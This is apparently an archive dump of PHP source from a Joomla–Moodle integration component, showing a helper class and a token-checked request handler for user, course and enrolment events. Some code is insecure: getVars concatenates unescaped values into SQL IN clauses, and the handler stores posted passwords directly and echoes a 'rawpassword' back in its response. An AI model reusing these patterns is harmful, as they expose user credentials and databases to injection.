* @param string $operator The operator between $whereString/field
and $where/value
* @param string $main The component in which the table is
found
*
* @return mix string/int/float
*
*/
public static function getVar($table, $where = null, $whereString =
'user', $what = 'id', $operator = '=', $main
= 'moojla')
{
if(!$where)
{
$where = JFactory::getUser()->id;
}
// Get a db connection.
$db = JFactory::getDbo();
// Create a new query object.
$query = $db->getQuery(true);
$query->select($db->quoteName(array($what)));
if (empty($table))
{
$query->from($db->quoteName('#__'.$main));
}
else
{
$query->from($db->quoteName('#__'.$main.'_'.$table));
}
if (is_numeric($where))
{
$query->where($db->quoteName($whereString) . '
'.$operator.' '.(int) $where);
}
elseif (is_string($where))
{
$query->where($db->quoteName($whereString) . '
'.$operator.' '. $db->quote((string)$where));
}
else
{
return false;
}
$db->setQuery($query);
$db->execute();
if ($db->getNumRows())
{
return $db->loadResult();
}
return false;
}
/**
* Get array of variables
*
* @param string $table The table from which to get the
variables
* @param string $where The value where
* @param string $whereString The target/field string where/name
* @param string $what The return field
* @param string $operator The operator between $whereString/field
and $where/value
* @param string $main The component in which the table is
found
* @param bool $unique The switch to return a unique array
*
* @return array
*
*/
public static function getVars($table, $where = null, $whereString =
'user', $what = 'id', $operator = 'IN', $main
= 'moojla', $unique = true)
{
if(!$where)
{
$where = JFactory::getUser()->id;
}
if (!self::checkArray($where) && $where > 0)
{
$where = array($where);
}
if (self::checkArray($where))
{
// prep main <-- why? well if $main='' is empty then $table
can be categories or users
if (self::checkString($main))
{
$main = '_'.ltrim($main, '_');
}
// Get a db connection.
$db = JFactory::getDbo();
// Create a new query object.
$query = $db->getQuery(true);
$query->select($db->quoteName(array($what)));
if (empty($table))
{
$query->from($db->quoteName('#__'.$main));
}
else
{
$query->from($db->quoteName('#_'.$main.'_'.$table));
}
// add strings to array search
if ('IN_STRINGS' === $operator || 'NOT IN_STRINGS'
=== $operator)
{
$query->where($db->quoteName($whereString) . ' ' .
str_replace('_STRINGS', '', $operator) . '
("' . implode('","',$where) .
'")');
}
else
{
$query->where($db->quoteName($whereString) . ' ' .
$operator . ' (' . implode(',',$where) .
')');
}
$db->setQuery($query);
$db->execute();
if ($db->getNumRows())
{
if ($unique)
{
return array_unique($db->loadColumn());
}
return $db->loadColumn();
}
}
return false;
}
public static function jsonToString($value, $sperator = ", ",
$table = null, $id = 'id', $name = 'name')
{
// do some table foot work
$external = false;
if (strpos($table, '#__') !== false)
{
$external = true;
$table = str_replace('#__', '', $table);
}
// check if string is JSON
$result = json_decode($value, true);
if (json_last_error() === JSON_ERROR_NONE)
{
// is JSON
if (self::checkArray($result))
{
if (self::checkString($table))
{
$names = array();
foreach ($result as $val)
{
if ($external)
{
if ($_name = self::getVar(null, $val, $id, $name, '=',
$table))
{
$names[] = $_name;
}
}
else
{
if ($_name = self::getVar($table, $val, $id, $name))
{
$names[] = $_name;
}
}
}
if (self::checkArray($names))
{
return (string) implode($sperator,$names);
}
}
return (string) implode($sperator,$result);
}
return (string) json_decode($value);
}
return $value;
}
public static function isPublished($id,$type)
{
if ($type == 'raw')
{
$type = 'item';
}
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select(array('a.published'));
$query->from('#__moojla_'.$type.' AS a');
$query->where('a.id = '. (int) $id);
$query->where('a.published = 1');
$db->setQuery($query);
$db->execute();
$found = $db->getNumRows();
if($found)
{
return true;
}
return false;
}
public static function getGroupName($id)
{
$db = JFactory::getDBO();
$query = $db->getQuery(true);
$query->select(array('a.title'));
$query->from('#__usergroups AS a');
$query->where('a.id = '. (int) $id);
$db->setQuery($query);
$db->execute();
$found = $db->getNumRows();
if($found)
{
return $db->loadResult();
}
return $id;
}
/**
* Get the action permissions
*
* @param string $view The related view name
* @param int $record The item to act upon
* @param string $views The related list view name
* @param mixed $target Only get this permission (like edit,
create, delete)
* @param string $component The target component
* @param object $user The user whose permissions we are loading
*
* @return object The JObject of permission/authorised actions
*
*/
public static function getActions($view, &$record = null, $views =
null, $target = null, $component = 'moojla', $user =
'null')
{
// load the user if not given
if (!self::checkObject($user))
{
// get the user object
$user = JFactory::getUser();
}
// load the JObject
$result = new JObject;
// make view name safe (just incase)
$view = self::safeString($view);
if (self::checkString($views))
{
$views = self::safeString($views);
}
// get all actions from component
$actions = JAccess::getActionsFromFile(
JPATH_ADMINISTRATOR . '/components/com_' . $component .
'/access.xml',
"/access/section[@name='component']/"
);
// if non found then return empty JObject
if (empty($actions))
{
return $result;
}
// get created by if not found
if (self::checkObject($record) && !isset($record->created_by)
&& isset($record->id))
{
$record->created_by = self::getVar($view, $record->id,
'id', 'created_by', '=', $component);
}
// set actions only set in component settings
$componentActions = array('core.admin',
'core.manage', 'core.options',
'core.export');
// check if we have a target
$checkTarget = false;
if ($target)
{
// convert to an array
if (self::checkString($target))
{
$target = array($target);
}
// check if we are good to go
if (self::checkArray($target))
{
$checkTarget = true;
}
}
// loop the actions and set the permissions
foreach ($actions as $action)
{
// check target action filter
if ($checkTarget && self::filterActions($view, $action->name,
$target))
{
continue;
}
// set to use component default
$fallback = true;
// reset permission per/action
$permission = false;
$catpermission = false;
// set area
$area = 'comp';
// check if the record has an ID and the action is item related (not a
component action)
if (self::checkObject($record) && isset($record->id)
&& $record->id > 0 && !in_array($action->name,
$componentActions) &&
(strpos($action->name, 'core.') !== false ||
strpos($action->name, $view . '.') !== false))
{
// we are in item
$area = 'item';
// The record has been set. Check the record permissions.
$permission = $user->authorise($action->name, 'com_' .
$component . '.' . $view . '.' . (int) $record->id);
// if no permission found, check edit own
if (!$permission)
{
// With edit, if the created_by matches current user then dig deeper.
if (($action->name === 'core.edit' || $action->name
=== $view . '.edit') && $record->created_by > 0
&& ($record->created_by == $user->id))
{
// the correct target
$coreCheck = (array) explode('.', $action->name);
// check that we have both local and global access
if ($user->authorise($coreCheck[0] . '.edit.own',
'com_' . $component . '.' . $view . '.' .
(int) $record->id) &&
$user->authorise($coreCheck[0] . '.edit.own',
'com_' . $component))
{
// allow edit
$result->set($action->name, true);
// set not to use global default
// because we already validated it
$fallback = false;
}
else
{
// do not allow edit
$result->set($action->name, false);
$fallback = false;
}
}
}
elseif (self::checkString($views) && isset($record->catid)
&& $record->catid > 0)
{
// we are in item
$area = 'category';
// set the core check
$coreCheck = explode('.', $action->name);
$core = $coreCheck[0];
// make sure we use the core. action check for the categories
if (strpos($action->name, $view) !== false &&
strpos($action->name, 'core.') === false )
{
$coreCheck[0] = 'core';
$categoryCheck = implode('.', $coreCheck);
}
else
{
$categoryCheck = $action->name;
}
// The record has a category. Check the category permissions.
$catpermission = $user->authorise($categoryCheck, 'com_'
. $component . '.' . $views . '.category.' . (int)
$record->catid);
if (!$catpermission && !is_null($catpermission))
{
// With edit, if the created_by matches current user then dig deeper.
if (($action->name === 'core.edit' || $action->name
=== $view . '.edit') && $record->created_by > 0
&& ($record->created_by == $user->id))
{
// check that we have both local and global access
if ($user->authorise('core.edit.own', 'com_'
. $component . '.' . $views . '.category.' . (int)
$record->catid) &&
$user->authorise($core . '.edit.own', 'com_'
. $component))
{
// allow edit
$result->set($action->name, true);
// set not to use global default
// because we already validated it
$fallback = false;
}
else
{
// do not allow edit
$result->set($action->name, false);
$fallback = false;
}
}
}
}
}
// if allowed then fallback on component global settings
if ($fallback)
{
// if item/category blocks access then don't fall back on global
if ((($area === 'item') && !$permission) || (($area
=== 'category') && !$catpermission))
{
// do not allow
$result->set($action->name, false);
}
// Finally remember the global settings have the final say. (even if
item allow)
// The local item permissions can block, but it can't open and
override of global permissions.
// Since items are created by users and global permissions is set by
system admin.
else
{
$result->set($action->name,
$user->authorise($action->name, 'com_' . $component));
}
}
}
return $result;
}
/**
* Filter the action permissions
*
* @param string $action The action to check
* @param array $targets The array of target actions
*
* @return boolean true if action should be filtered out
*
*/
protected static function filterActions(&$view, &$action,
&$targets)
{
foreach ($targets as $target)
{
if (strpos($action, $view . '.' . $target) !== false ||
strpos($action, 'core.' . $target) !== false)
{
return false;
break;
}
}
return true;
}
/**
* Get any component's model
*/
public static function getModel($name, $path =
JPATH_COMPONENT_ADMINISTRATOR, $Component = 'Moojla', $config =
array())
{
// fix the name
$name = self::safeString($name);
// full path to models
$fullPathModels = $path . '/models';
// load the model file
JModelLegacy::addIncludePath($fullPathModels, $Component .
'Model');
// make sure the table path is loaded
if (!isset($config['table_path']) ||
!self::checkString($config['table_path']))
{
// This is the JCB default path to tables in Joomla 3.x
$config['table_path'] = JPATH_ADMINISTRATOR .
'/components/com_' . strtolower($Component) .
'/tables';
}
// get instance
$model = JModelLegacy::getInstance($name, $Component . 'Model',
$config);
// if model not found (strange)
if ($model == false)
{
jimport('joomla.filesystem.file');
// get file path
$filePath = $path . '/' . $name . '.php';
$fullPathModel = $fullPathModels . '/' . $name .
'.php';
// check if it exists
if (File::exists($filePath))
{
// get the file
require_once $filePath;
}
elseif (File::exists($fullPathModel))
{
// get the file
require_once $fullPathModel;
}
// build class names
$modelClass = $Component . 'Model' . $name;
if (class_exists($modelClass))
{
// initialize the model
return new $modelClass($config);
}
}
return $model;
}
/**
* Add to asset Table
*/
public static function setAsset($id, $table, $inherit = true)
{
$parent = JTable::getInstance('Asset');
$parent->loadByName('com_moojla');
$parentId = $parent->id;
$name = 'com_moojla.'.$table.'.'.$id;
$title = '';
$asset = JTable::getInstance('Asset');
$asset->loadByName($name);
// Check for an error.
$error = $asset->getError();
if ($error)
{
return false;
}
else
{
// Specify how a new or moved node asset is inserted into the tree.
if ($asset->parent_id != $parentId)
{
$asset->setLocation($parentId, 'last-child');
}
// Prepare the asset to be stored.
$asset->parent_id = $parentId;
$asset->name = $name;
$asset->title = $title;
// get the default asset rules
$rules = self::getDefaultAssetRules('com_moojla', $table,
$inherit);
if ($rules instanceof JAccessRules)
{
$asset->rules = (string) $rules;
}
if (!$asset->check() || !$asset->store())
{
JFactory::getApplication()->enqueueMessage($asset->getError(),
'warning');
return false;
}
else
{
// Create an asset_id or heal one that is corrupted.
$object = new stdClass();
// Must be a valid primary key value.
$object->id = $id;
$object->asset_id = (int) $asset->id;
// Update their asset_id to link to the asset table.
return
JFactory::getDbo()->updateObject('#__moojla_'.$table, $object,
'id');
}
}
return false;
}
/**
* Gets the default asset Rules for a component/view.
*/
protected static function getDefaultAssetRules($component, $view, $inherit
= true)
{
// if new or inherited
$assetId = 0;
// Only get the actual item rules if not inheriting
if (!$inherit)
{
// Need to find the asset id by the name of the component.
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__assets'))
->where($db->quoteName('name') . ' = ' .
$db->quote($component));
$db->setQuery($query);
$db->execute();
// check that there is a value
if ($db->getNumRows())
{
// asset already set so use saved rules
$assetId = (int) $db->loadResult();
}
}
// get asset rules
$result = JAccess::getAssetRules($assetId);
if ($result instanceof JAccessRules)
{
$_result = (string) $result;
$_result = json_decode($_result);
foreach ($_result as $name => &$rule)
{
$v = explode('.', $name);
if ($view !== $v[0])
{
// remove since it is not part of this view
unset($_result->$name);
}
elseif ($inherit)
{
// clear the value since we inherit
$rule = array();
}
}
// check if there are any view values remaining
if (count((array) $_result))
{
$_result = json_encode($_result);
$_result = array($_result);
// Instantiate and return the JAccessRules object for the asset rules.
$rules = new JAccessRules($_result);
// return filtered rules
return $rules;
}
}
return $result;
}
/**
* xmlAppend
*
* @param SimpleXMLElement $xml The XML element reference in
which to inject a comment
* @param mixed $node A SimpleXMLElement node to append
to the XML element reference, or a stdClass object containing a comment
attribute to be injected before the XML node and a fieldXML attribute
containing a SimpleXMLElement
*
* @return null
*
*/
public static function xmlAppend(&$xml, $node)
{
if (!$node)
{
// element was not returned
return;
}
switch (get_class($node))
{
case 'stdClass':
if (property_exists($node, 'comment'))
{
self::xmlComment($xml, $node->comment);
}
if (property_exists($node, 'fieldXML'))
{
self::xmlAppend($xml, $node->fieldXML);
}
break;
case 'SimpleXMLElement':
$domXML = dom_import_simplexml($xml);
$domNode = dom_import_simplexml($node);
$domXML->appendChild($domXML->ownerDocument->importNode($domNode,
true));
$xml = simplexml_import_dom($domXML);
break;
}
}
/**
* xmlComment
*
* @param SimpleXMLElement $xml The XML element reference in
which to inject a comment
* @param string $comment The comment to inject
*
* @return null
*
*/
public static function xmlComment(&$xml, $comment)
{
$domXML = dom_import_simplexml($xml);
$domComment = new DOMComment($comment);
$nodeTarget = $domXML->ownerDocument->importNode($domComment,
true);
$domXML->appendChild($nodeTarget);
$xml = simplexml_import_dom($domXML);
}
/**
* xmlAddAttributes
*
* @param SimpleXMLElement $xml The XML element reference in
which to inject a comment
* @param array $attributes The attributes to apply to
the XML element
*
* @return null
*
*/
public static function xmlAddAttributes(&$xml, $attributes = array())
{
foreach ($attributes as $key => $value)
{
$xml->addAttribute($key, $value);
}
}
/**
* xmlAddOptions
*
* @param SimpleXMLElement $xml The XML element reference in
which to inject a comment
* @param array $options The options to apply to the
XML element
*
* @return void
*
*/
public static function xmlAddOptions(&$xml, $options = array())
{
foreach ($options as $key => $value)
{
$addOption = $xml->addChild('option');
$addOption->addAttribute('value', $key);
$addOption[] = $value;
}
}
/**
* get the field object
*
* @param array $attributes The array of attributes
* @param string $default The default of the field
* @param array $options The options to apply to the XML
element
*
* @return object
*
*/
public static function getFieldObject(&$attributes, $default =
'', $options = null)
{
// make sure we have attributes and a type value
if (self::checkArray($attributes) &&
isset($attributes['type']))
{
// make sure the form helper class is loaded
if (!method_exists('JFormHelper', 'loadFieldType'))
{
jimport('joomla.form.form');
}
// get field type
$field = JFormHelper::loadFieldType($attributes['type'],
true);
// get field xml
$XML = self::getFieldXML($attributes, $options);
// setup the field
$field->setup($XML, $default);
// return the field object
return $field;
}
return false;
}
/**
* get the field xml
*
* @param array $attributes The array of attributes
* @param array $options The options to apply to the XML
element
*
* @return object
*
*/
public static function getFieldXML(&$attributes, $options = null)
{
// make sure we have attributes and a type value
if (self::checkArray($attributes))
{
// start field xml
$XML = new SimpleXMLElement('<field/>');
// load the attributes
self::xmlAddAttributes($XML, $attributes);
// check if we have options
if (self::checkArray($options))
{
// load the options
self::xmlAddOptions($XML, $options);
}
// return the field xml
return $XML;
}
return false;
}
/**
* Render Bool Button
*
* @param array $args All the args for the button
* 0) name
* 1) additional (options class) // not used
at this time
* 2) default
* 3) yes (name)
* 4) no (name)
*
* @return string The input html of the button
*
*/
public static function renderBoolButton()
{
$args = func_get_args();
// check if there is additional button class
$additional = isset($args[1]) ? (string) $args[1] : ''; // not
used at this time
// button attributes
$buttonAttributes = array(
'type' => 'radio',
'name' => isset($args[0]) ? self::htmlEscape($args[0]) :
'bool_button',
'label' => isset($args[0]) ?
self::safeString(self::htmlEscape($args[0]), 'Ww') : 'Bool
Button', // not seen anyway
'class' => 'btn-group',
'filter' => 'INT',
'default' => isset($args[2]) ? (int) $args[2] : 0);
// set the button options
$buttonOptions = array(
'1' => isset($args[3]) ? self::htmlEscape($args[3]) :
'JYES',
'0' => isset($args[4]) ? self::htmlEscape($args[4]) :
'JNO');
// return the input
return self::getFieldObject($buttonAttributes,
$buttonAttributes['default'], $buttonOptions)->input;
}
/**
* Check if have an json string
*
* @input string The json string to check
*
* @returns bool true on success
*/
public static function checkJson($string)
{
if (self::checkString($string))
{
json_decode($string);
return (json_last_error() === JSON_ERROR_NONE);
}
return false;
}
/**
* Check if have an object with a length
*
* @input object The object to check
*
* @returns bool true on success
*/
public static function checkObject($object)
{
if (isset($object) && is_object($object))
{
return count((array)$object) > 0;
}
return false;
}
/**
* Check if have an array with a length
*
* @input array The array to check
*
* @returns bool/int number of items in array on success
*/
public static function checkArray($array, $removeEmptyString = false)
{
if (isset($array) && is_array($array) && ($nr =
count((array)$array)) > 0)
{
// also make sure the empty strings are removed
if ($removeEmptyString)
{
foreach ($array as $key => $string)
{
if (empty($string))
{
unset($array[$key]);
}
}
return self::checkArray($array, false);
}
return $nr;
}
return false;
}
/**
* Check if have a string with a length
*
* @input string The string to check
*
* @returns bool true on success
*/
public static function checkString($string)
{
if (isset($string) && is_string($string) &&
strlen($string) > 0)
{
return true;
}
return false;
}
/**
* Check if we are connected
* Thanks https://stackoverflow.com/a/4860432/1429677
*
* @returns bool true on success
*/
public static function isConnected()
{
// If example.com is down, then probably the whole internet is down,
since IANA maintains the domain. Right?
$connected = @fsockopen("www.example.com", 80);
// website, port (try 80 or 443)
if ($connected)
{
//action when connected
$is_conn = true;
fclose($connected);
}
else
{
//action in connection failure
$is_conn = false;
}
return $is_conn;
}
/**
* Merge an array of array's
*
* @input array The arrays you would like to merge
*
* @returns array on success
*/
public static function mergeArrays($arrays)
{
if(self::checkArray($arrays))
{
$arrayBuket = array();
foreach ($arrays as $array)
{
if (self::checkArray($array))
{
$arrayBuket = array_merge($arrayBuket, $array);
}
}
return $arrayBuket;
}
return false;
}
// typo sorry!
public static function sorten($string, $length = 40, $addTip = true)
{
return self::shorten($string, $length, $addTip);
}
/**
* Shorten a string
*
* @input string The you would like to shorten
*
* @returns string on success
*/
public static function shorten($string, $length = 40, $addTip = true)
{
if (self::checkString($string))
{
$initial = strlen($string);
$words = preg_split('/([\s\n\r]+)/', $string, null,
PREG_SPLIT_DELIM_CAPTURE);
$words_count = count((array)$words);
$word_length = 0;
$last_word = 0;
for (; $last_word < $words_count; ++$last_word)
{
$word_length += strlen($words[$last_word]);
if ($word_length > $length)
{
break;
}
}
$newString = implode(array_slice($words, 0, $last_word));
$final = strlen($newString);
if ($initial != $final && $addTip)
{
$title = self::shorten($string, 400 , false);
return '<span class="hasTip"
title="'.$title.'"
style="cursor:help">'.trim($newString).'...</span>';
}
elseif ($initial != $final && !$addTip)
{
return trim($newString).'...';
}
}
return $string;
}
/**
* Making strings safe (various ways)
*
* @input string The you would like to make safe
*
* @returns string on success
*/
public static function safeString($string, $type = 'L', $spacer
= '_', $replaceNumbers = true, $keepOnlyCharacters = true)
{
if ($replaceNumbers === true)
{
// remove all numbers and replace with english text version (works well
only up to millions)
$string = self::replaceNumbers($string);
}
// 0nly continue if we have a string
if (self::checkString($string))
{
// create file name without the extention that is safe
if ($type === 'filename')
{
// make sure VDM is not in the string
$string = str_replace('VDM', 'vDm', $string);
// Remove anything which isn't a word, whitespace, number
// or any of the following caracters -_()
// If you don't need to handle multi-byte characters
// you can use preg_replace rather than mb_ereg_replace
// Thanks @Łukasz Rysiak!
// $string = mb_ereg_replace("([^\w\s\d\-_\(\)])",
'', $string);
$string = preg_replace("([^\w\s\d\-_\(\)])", '',
$string);
// http://stackoverflow.com/a/2021729/1429677
return preg_replace('/\s+/', ' ', $string);
}
// remove all other characters
$string = trim($string);
$string = preg_replace('/'.$spacer.'+/', '
', $string);
$string = preg_replace('/\s+/', ' ', $string);
// Transliterate string
$string = self::transliterate($string);
// remove all and keep only characters
if ($keepOnlyCharacters)
{
$string = preg_replace("/[^A-Za-z ]/", '',
$string);
}
// keep both numbers and characters
else
{
$string = preg_replace("/[^A-Za-z0-9 ]/", '',
$string);
}
// select final adaptations
if ($type === 'L' || $type === 'strtolower')
{
// replace white space with underscore
$string = preg_replace('/\s+/', $spacer, $string);
// default is to return lower
return strtolower($string);
}
elseif ($type === 'W')
{
// return a string with all first letter of each word uppercase(no
undersocre)
return ucwords(strtolower($string));
}
elseif ($type === 'w' || $type === 'word')
{
// return a string with all lowercase(no undersocre)
return strtolower($string);
}
elseif ($type === 'Ww' || $type === 'Word')
{
// return a string with first letter of the first word uppercase and
all the rest lowercase(no undersocre)
return ucfirst(strtolower($string));
}
elseif ($type === 'WW' || $type === 'WORD')
{
// return a string with all the uppercase(no undersocre)
return strtoupper($string);
}
elseif ($type === 'U' || $type === 'strtoupper')
{
// replace white space with underscore
$string = preg_replace('/\s+/', $spacer, $string);
// return all upper
return strtoupper($string);
}
elseif ($type === 'F' || $type === 'ucfirst')
{
// replace white space with underscore
$string = preg_replace('/\s+/', $spacer, $string);
// return with first caracter to upper
return ucfirst(strtolower($string));
}
elseif ($type === 'cA' || $type === 'cAmel' || $type
=== 'camelcase')
{
// convert all words to first letter uppercase
$string = ucwords(strtolower($string));
// remove white space
$string = preg_replace('/\s+/', '', $string);
// now return first letter lowercase
return lcfirst($string);
}
// return string
return $string;
}
// not a string
return '';
}
public static function transliterate($string)
{
// set tag only once
if (!self::checkString(self::$langTag))
{
// get global value
self::$langTag =
JComponentHelper::getParams('com_moojla')->get('language',
'en-GB');
}
// Transliterate on the language requested
$lang = Language::getInstance(self::$langTag);
return $lang->transliterate($string);
}
public static function htmlEscape($var, $charset = 'UTF-8',
$shorten = false, $length = 40)
{
if (self::checkString($var))
{
$filter = new JFilterInput();
$string = $filter->clean(html_entity_decode(htmlentities($var,
ENT_COMPAT, $charset)), 'HTML');
if ($shorten)
{
return self::shorten($string,$length);
}
return $string;
}
else
{
return '';
}
}
public static function replaceNumbers($string)
{
// set numbers array
$numbers = array();
// first get all numbers
preg_match_all('!\d+!', $string, $numbers);
// check if we have any numbers
if (isset($numbers[0]) && self::checkArray($numbers[0]))
{
foreach ($numbers[0] as $number)
{
$searchReplace[$number] = self::numberToString((int)$number);
}
// now replace numbers in string
$string = str_replace(array_keys($searchReplace),
array_values($searchReplace),$string);
// check if we missed any, strange if we did.
return self::replaceNumbers($string);
}
// return the string with no numbers remaining.
return $string;
}
/**
* Convert an integer into an English word string
* Thanks to Tom Nicholson
<http://php.net/manual/en/function.strval.php#41988>
*
* @input an int
* @returns a string
*/
public static function numberToString($x)
{
$nwords = array( "zero", "one", "two",
"three", "four", "five", "six",
"seven",
"eight", "nine", "ten",
"eleven", "twelve", "thirteen",
"fourteen", "fifteen", "sixteen",
"seventeen", "eighteen",
"nineteen", "twenty", 30 => "thirty",
40 => "forty",
50 => "fifty", 60 => "sixty", 70 =>
"seventy", 80 => "eighty",
90 => "ninety" );
if(!is_numeric($x))
{
$w = $x;
}
elseif(fmod($x, 1) != 0)
{
$w = $x;
}
else
{
if($x < 0)
{
$w = 'minus ';
$x = -$x;
}
else
{
$w = '';
// ... now $x is a non-negative integer.
}
if($x < 21) // 0 to 20
{
$w .= $nwords[$x];
}
elseif($x < 100) // 21 to 99
{
$w .= $nwords[10 * floor($x/10)];
$r = fmod($x, 10);
if($r > 0)
{
$w .= ' '. $nwords[$r];
}
}
elseif($x < 1000) // 100 to 999
{
$w .= $nwords[floor($x/100)] .' hundred';
$r = fmod($x, 100);
if($r > 0)
{
$w .= ' and '. self::numberToString($r);
}
}
elseif($x < 1000000) // 1000 to 999999
{
$w .= self::numberToString(floor($x/1000)) .' thousand';
$r = fmod($x, 1000);
if($r > 0)
{
$w .= ' ';
if($r < 100)
{
$w .= 'and ';
}
$w .= self::numberToString($r);
}
}
else // millions
{
$w .= self::numberToString(floor($x/1000000)) .' million';
$r = fmod($x, 1000000);
if($r > 0)
{
$w .= ' ';
if($r < 100)
{
$w .= 'and ';
}
$w .= self::numberToString($r);
}
}
}
return $w;
}
/**
* Random Key
*
* @returns a string
*/
public static function randomkey($size)
{
$bag =
"abcefghijknopqrstuwxyzABCDDEFGHIJKLLMMNOPQRSTUVVWXYZabcddefghijkllmmnopqrstuvvwxyzABCEFGHIJKNOPQRSTUWXYZ";
$key = array();
$bagsize = strlen($bag) - 1;
for ($i = 0; $i < $size; $i++)
{
$get = rand(0, $bagsize);
$key[] = $bag[$get];
}
return implode($key);
}
}
helpers/moojlaRequestHandler.php000064400000036370151165724400013065
0ustar00<?php
define( '_JEXEC', 1 );
define( 'JPATH_BASE',
realpath(dirname(__FILE__).'/../../../..' ));
require_once ( JPATH_BASE. '/includes/defines.php' );
require_once ( JPATH_BASE. '/includes/framework.php' );
$mainframe = JFactory::getApplication('site');
$params = JComponentHelper::getParams('com_moojla');
$joomla_token = trim($params->get('joomla_token'));
$filename = __DIR__ . "/moojlaRequestHandler.txt";
// file_put_contents($filename, "joomla_token =
".print_r($joomla_token, true)."\n", FILE_APPEND);
// file_put_contents($filename, "joomla_token form moodle =
".print_r($_POST["joomla_token"], true)."\n",
FILE_APPEND);
if(!isset($_POST["joomla_token"]) || $joomla_token !=
$_POST["joomla_token"] || $joomla_token == '')
{
echo '{"status":"nok",
"result":"invalid joomla token"}';
die();
}
if(isset($_POST["moojlaFunction"]))
{
$moojlaFunction = $_POST["moojlaFunction"];
switch($moojlaFunction)
{
case "onMoojlaUserCreated":
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$filename = __DIR__ . "/onMoojlaUserCreated.txt";
$postArray = json_decode($_POST["data"], true);
$data = $postArray["data"];
// file_put_contents($filename, "data = ".print_r($data,
true)."\n", FILE_APPEND);
$results = $dispatcher->trigger("onMoojlaUserCreated",
array($data));
if($results[0]->status == "ok")
{
$object = new stdClass();
$object->id = $results[0]->id;
$object->password = $data["password"];
$result = JFactory::getDbo()->updateObject('#__users',
$object, 'id');
}
echo json_encode($results[0]); // output
break;
case "onMoojlaUserDeleted":
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$postArray = json_decode($_POST["data"], true);
$id = $postArray["id"];
$results = $dispatcher->trigger("onMoojlaUserDeleted",
array($id));
echo json_encode($results[0]); // output
break;
case "onMoojlaUserUpdated":
$filename = __DIR__ . "/onMoojlaUserUpdated.txt";
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$postArray = json_decode($_POST["data"], true);
// file_put_contents($filename, "postArray =
".print_r($postArray, true)."\n", FILE_APPEND);
$id = $postArray["id"];
$data = $postArray["data"];
$results = $dispatcher->trigger("onMoojlaUserUpdated",
array($data, $id));
if($results[0]->status == "ok")
{
$object = new stdClass();
$object->id = $results[0]->id;
$object->password = $data["password"];
$result = JFactory::getDbo()->updateObject('#__users',
$object, 'id');
$results[0]->rawpassword = $data["password"];
}
echo json_encode($results[0]); // output
break;
case "onMoojlaUserLogin":
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$postArray = json_decode($_POST["data"], true);
$username = $postArray["username"];
$password = $postArray["password"];
$from_joomla = $postArray["from_joomla"];
$results = $dispatcher->trigger("onMoojlaUserLogin",
array($username, $password, $from_joomla));
echo json_encode($results); // output
break;
case "onMoojlaUserLogout":
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$postArray = json_decode($_POST["data"], true);
$username = $postArray["username"];
$from_moodle = $postArray["from_moodle"];
$results = $dispatcher->trigger("onMoojlaUserLogout",
array($username, $from_moodle));
echo json_encode($results); // output
break;
case "onMoojlaCourseCreated":
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$postArray = json_decode($_POST["data"], true);
$filename = __DIR__ . "/onMoojlaCourseCreated.txt";
// file_put_contents($filename, "postArray =
".print_r($postArray, true)."\n", FILE_APPEND);
$results = $dispatcher->trigger("onMoojlaCourseCreated",
array($postArray));
echo json_encode($results); // output
break;
case "onMoojlaCourseUpdated":
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$postArray = json_decode($_POST["data"], true);
$filename = __DIR__ . "/onMoojlaCourseUpdated.txt";
// file_put_contents($filename, "data = ".print_r($postArray,
true)."\n", FILE_APPEND);
$dispatcher->trigger("updateCourseGroups",
array($postArray["course_id"],
$postArray["course_shortname"]));
$results = $dispatcher->trigger("onMoojlaCourseUpdated",
array($postArray));
echo json_encode($results); // output
break;
case "onMoojlaCreateGroup":
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$postArray = json_decode($_POST["data"], true);
$filename = __DIR__ . "/onMoojlaCreateGroup.txt";
// file_put_contents($filename, "data = ".print_r($postArray,
true)."\n", FILE_APPEND);
$results = $dispatcher->trigger("addCourseGroups",
array($postArray["course_id"],
$postArray["course_shortname"]));
echo json_encode($results); // output
break;
case "onMoojlaCourseDeleted":
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$postArray = json_decode($_POST["data"], true);
$filename = __DIR__ . "/onMoojlaCourseDeleted.txt";
// file_put_contents($filename, "data = ".print_r($postArray,
true)."\n", FILE_APPEND);
$results = $dispatcher->trigger("onMoojlaCourseDeleted",
array($postArray["course_id"]));
echo json_encode($results); // output
break;
case "onMoojlaCourseContentCreated":
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$postArray = json_decode($_POST["data"]);
$data = $postArray->data;
$id = $postArray->id;
$filename = __DIR__ . "/onMoojlaCourseContentCreated.txt";
// file_put_contents($filename, "data = ".print_r($postArray,
true)."\n", FILE_APPEND);
$results =
$dispatcher->trigger("onMoojlaCourseContentCreated",
array($data, $id));
echo json_encode($results); // output
break;
case "onMoojlaEnrolInstanceCreated":
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$postArray = json_decode($_POST["data"], true);
$data = $postArray["data"];
$filename = __DIR__ . "/coures_data.txt";
// file_put_contents($filename, "data = ".print_r($postArray,
true)."\n", FILE_APPEND);
$results = $dispatcher->trigger("onEnrolmentMethodAdded",
array($data));
echo json_encode($results); // output
break;
case "onMoojlaEnrolInstanceUpdated":
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$postArray = json_decode($_POST["data"], true);
$data = $postArray["data"];
$filename = __DIR__ . "/onMoojlaEnrolInstanceUpdated.txt";
// file_put_contents($filename, "postArray =
".print_r($postArray, true)."\n", FILE_APPEND);
$results =
$dispatcher->trigger("onEnrolmentMethodUpdated",
array($data));
echo json_encode($results); // output
break;
case "onMoojlaEnrolInstanceDeleted":
JPluginHelper::importPlugin("moojlaevents");
$dispatcher = JEventDispatcher::getInstance();
$postArray = json_decode($_POST["data"], true);
$data = $postArray["data"];
// $filename = __DIR__ . "/coures_data.txt";
